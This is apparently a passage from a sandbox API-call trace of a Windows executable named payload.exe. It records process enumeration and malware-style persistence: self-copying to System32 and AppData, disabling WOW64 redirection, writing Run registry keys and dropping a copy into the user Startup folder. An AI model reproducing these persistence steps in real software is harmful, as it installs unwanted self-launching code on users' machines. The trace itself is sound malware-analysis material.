[0125.637] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.638] lstrlenW (lpString="svchost.exe") returned 11 [0125.638] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.638] lstrlenW (lpString="svchost.exe") returned 11 [0125.638] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.639] lstrlenW (lpString="spoolsv.exe") returned 11 [0125.639] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.639] lstrlenW (lpString="svchost.exe") returned 11 [0125.639] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.640] lstrlenW (lpString="audiodg.exe") returned 11 [0125.640] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0125.640] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0125.640] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0125.641] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0125.641] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0125.641] lstrlenW (lpString="Memory Compression") returned 18 [0125.642] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0125.642] lstrlenW (lpString="sihost.exe") returned 10 [0125.642] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.642] lstrlenW (lpString="svchost.exe") returned 11 [0125.643] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0125.643] lstrlenW (lpString="taskhostw.exe") returned 13 [0125.643] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0125.643] lstrlenW (lpString="msoia.exe") returned 9 [0125.643] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0125.644] lstrlenW (lpString="userinit.exe") returned 12 [0125.644] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.644] lstrlenW (lpString="explorer.exe") returned 12 [0125.644] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0125.645] lstrlenW (lpString="SearchUI.exe") returned 12 [0125.645] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0125.645] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0125.645] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0125.646] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0125.646] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0125.646] lstrlenW (lpString="mobsync.exe") returned 11 [0125.646] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.647] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0125.647] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0125.647] lstrlenW (lpString="payload.exe") returned 11 [0125.647] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0125.648] lstrlenW (lpString="payload.exe") returned 11 [0125.648] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0125.648] CloseHandle (hObject=0x240) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527518 | out: hHeap=0x510000) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527b48 | out: hHeap=0x510000) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5260b8 | out: hHeap=0x510000) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526198 | out: hHeap=0x510000) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525428 | out: hHeap=0x510000) returned 1 [0125.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554520 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5263f8 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526298 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526178 | out: hHeap=0x510000) returned 1 [0125.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54eec0 | out: hHeap=0x510000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x557fa8 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x567fb0 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.649] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54ef10 [0125.649] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef10, Size=0x40) returned 0x5275f0 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.649] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54ef88 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.649] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54eec0 [0125.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.649] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54ef10 [0125.650] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef10, Size=0x40) returned 0x5277e8 [0125.650] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x567fb0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0125.650] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x577fb8 [0125.650] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x587fc0 [0125.650] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.650] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54ef10 [0125.650] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef10, Size=0x40) returned 0x527830 [0125.650] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527830, Size=0x80) returned 0x527dd0 [0125.650] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527dd0, Size=0x100) returned 0x554a08 [0125.650] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554a08 | out: hHeap=0x510000) returned 1 [0125.650] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x577fb8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload.exe") returned 0x20 [0125.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x587fc0 | out: hHeap=0x510000) returned 1 [0125.651] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577fb8 | out: hHeap=0x510000) returned 1 [0125.651] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x23d6020 [0125.653] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.653] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54ef10 [0125.653] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.654] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efb0 [0125.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.654] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.654] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0125.654] lstrlenW (lpString="kernel32.dll") returned 12 [0125.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.654] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.654] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0125.654] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.655] CloseHandle (hObject=0x240) returned 1 [0125.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.655] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54edf8 [0125.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.655] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54f028 [0125.655] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.655] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.655] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.655] lstrlenW (lpString="kernel32.dll") returned 12 [0125.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f028 | out: hHeap=0x510000) returned 1 [0125.655] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54edf8 | out: hHeap=0x510000) returned 1 [0125.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x23d6020 | out: hHeap=0x510000) returned 1 [0125.698] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x577fb8 [0125.698] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x587fc0 [0125.698] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.698] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54f028 [0125.698] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f028, Size=0x40) returned 0x527518 [0125.698] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527518, Size=0x80) returned 0x527dd0 [0125.699] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527dd0, Size=0x100) returned 0x554a08 [0125.699] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554a08 | out: hHeap=0x510000) returned 1 [0125.699] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\payload.exe", lpDst=0x577fb8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe") returned 0x2c [0125.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x587fc0 | out: hHeap=0x510000) returned 1 [0125.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577fb8 | out: hHeap=0x510000) returned 1 [0125.700] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x23df020 [0125.702] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.702] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54efb0 [0125.702] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.702] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54ef10 [0125.702] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.702] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.702] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.702] lstrlenW (lpString="kernel32.dll") returned 12 [0125.702] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.702] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.702] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0125.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0125.704] ReadFile (in: hFile=0x240, lpBuffer=0x23df020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23df020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0125.714] WriteFile (in: hFile=0x244, lpBuffer=0x23df020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23df020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0125.716] ReadFile (in: hFile=0x240, lpBuffer=0x23df020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23df020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0125.716] CloseHandle (hObject=0x244) returned 1 [0125.716] CloseHandle (hObject=0x240) returned 1 [0125.716] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544c0 [0125.716] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544c0, Size=0x20) returned 0x54ef10 [0125.716] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.716] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efb0 [0125.716] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.717] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.717] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.717] lstrlenW (lpString="kernel32.dll") returned 12 [0125.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.717] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x23df020 | out: hHeap=0x510000) returned 1 [0125.721] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.721] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54edf8 [0125.721] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54edf8, Size=0x40) returned 0x527518 [0125.721] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527518, Size=0x80) returned 0x556ad8 [0125.721] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe") returned 43 [0125.721] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0125.721] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x527dd0 [0125.721] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0125.722] RegSetValueExW (hKey=0x240, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData=0x557fa8, cbData=0x56) returned 0x5 [0125.722] RegCloseKey (hKey=0x240) returned 0x0 [0125.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527dd0 | out: hHeap=0x510000) returned 1 [0125.722] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe") returned 43 [0125.722] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0125.722] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x527dd0 [0125.722] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0125.723] RegSetValueExW (in: hKey=0x244, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe", cbData=0x56 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload.exe") returned 0x0 [0125.723] RegCloseKey (hKey=0x244) returned 0x0 [0125.723] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527dd0 | out: hHeap=0x510000) returned 1 [0125.723] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0125.723] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556ad8 | out: hHeap=0x510000) returned 1 [0125.723] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x577fb8 [0125.723] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x587fc0 [0125.723] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.723] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efb0 [0125.723] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54efb0, Size=0x40) returned 0x527ab8 [0125.723] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527ab8, Size=0x80) returned 0x556368 [0125.723] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556368, Size=0x100) returned 0x554e08 [0125.723] lstrlenW (lpString="") returned 0 [0125.723] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.724] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x527dd0 [0125.724] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0125.724] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x587fc0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x587fc0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0125.724] RegCloseKey (hKey=0x244) returned 0x0 [0125.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527dd0 | out: hHeap=0x510000) returned 1 [0125.724] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.724] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x527dd0 [0125.724] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0125.724] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x587fc0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0125.724] RegCloseKey (hKey=0x244) returned 0x0 [0125.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527dd0 | out: hHeap=0x510000) returned 1 [0125.724] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0125.724] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554e08 | out: hHeap=0x510000) returned 1 [0125.724] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x577fb8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x5a [0125.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x587fc0 | out: hHeap=0x510000) returned 1 [0125.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577fb8 | out: hHeap=0x510000) returned 1 [0125.725] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x23d5020 [0125.727] RtlAllocateHeap 